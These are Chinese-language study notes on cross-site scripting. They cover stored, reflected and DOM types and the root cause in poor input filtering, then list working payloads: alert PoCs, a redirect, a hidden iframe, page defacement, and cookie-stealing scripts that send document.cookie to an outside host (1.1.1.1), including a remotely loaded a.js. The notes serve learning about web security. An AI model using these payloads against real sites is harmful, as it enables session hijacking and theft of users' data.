XSS
服务器端的漏洞
攻击web客户端
客户端脚本语言
弹窗警告,广告
JavaScript
在浏览器中执行
XSS危害(cross-site scripting)
通过WEB站点漏洞,向客户端交付恶意脚本代码,实现对客户端的攻击目的
注入客户端脚本代码
盗取cookie
重定向
其他客户端脚本 VBScript Active or Flash
使用场景
直接嵌入HTML
<script>alert('xss')</script>
元素标签事件
<body onload=alert('xss')>
图片标签
<img src="javascript:alert('xss')">
其他标签
<ifrane><div><link>
DOM对象,篡改页面内容
攻击参与方
攻击者
被攻击者
漏洞站点
第三方站点
漏洞形成的根源
服务器对用户提交数据过滤不严
提交给服务器的脚本被直接返回给其他客户端执行
脚本在客户端执行恶意操作
XSS漏洞类型
存储型 服务器接受保存了恶意代码
反射型 服务器端把代码原封不动返回给执行者
DOM型 本质上是反射型,利用浏览器DOM特性,直接窃取修改本地数据,不用向服务器发请求
漏洞PoC
<script>alert(‘xss’)</script>
<a href='' onclick=alert('xss')>type</a>
<img src=http://1.1.1.1/a.ipg onerror=alert('xss')>
<img src=http://1.1.1.1/a.ipg onerror=alert('xss')>
危害验证
重定向
<script>window.location=‘http://1.1.1.1'</script>
重定向到攻击平台来收集信息 或者 盗取信息 cc攻击
插入框架
框架里可以再加入东西
<iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe>
盗取cookie
<script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie;</script>
篡改页面
<script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS
WEBSITE IS UNDER ATTACK</h1></div>";</script>
远程加载窃取cookie
<script src=http://1.1.1.1/a.js</script>
a.js源码
var img = new Image();
img.src ="http://1.1.1.1/cookies.php?cookie="+document.cookie;